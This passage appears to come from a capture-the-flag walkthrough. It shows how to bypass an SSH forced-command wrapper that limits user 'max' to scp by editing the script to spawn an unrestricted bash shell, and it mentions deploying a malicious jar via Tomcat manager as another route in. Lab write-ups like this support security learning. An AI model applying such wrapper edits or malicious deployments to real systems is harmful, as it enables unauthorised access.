This script is using for limiting the ssh user command to just scp. When we connect with ssh, /home/max/scp\_wrapper.sh will be executed. So we can change this script with as we want to unlimited access. Or we can use tomcat manager with evil jar deploying to get initial shell.

### Initial Access

Edit the file as follows

zipfiles/max/max/scp\_wrapper.sh

```
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "haha!"
    bash
    ;;
esac
```

```
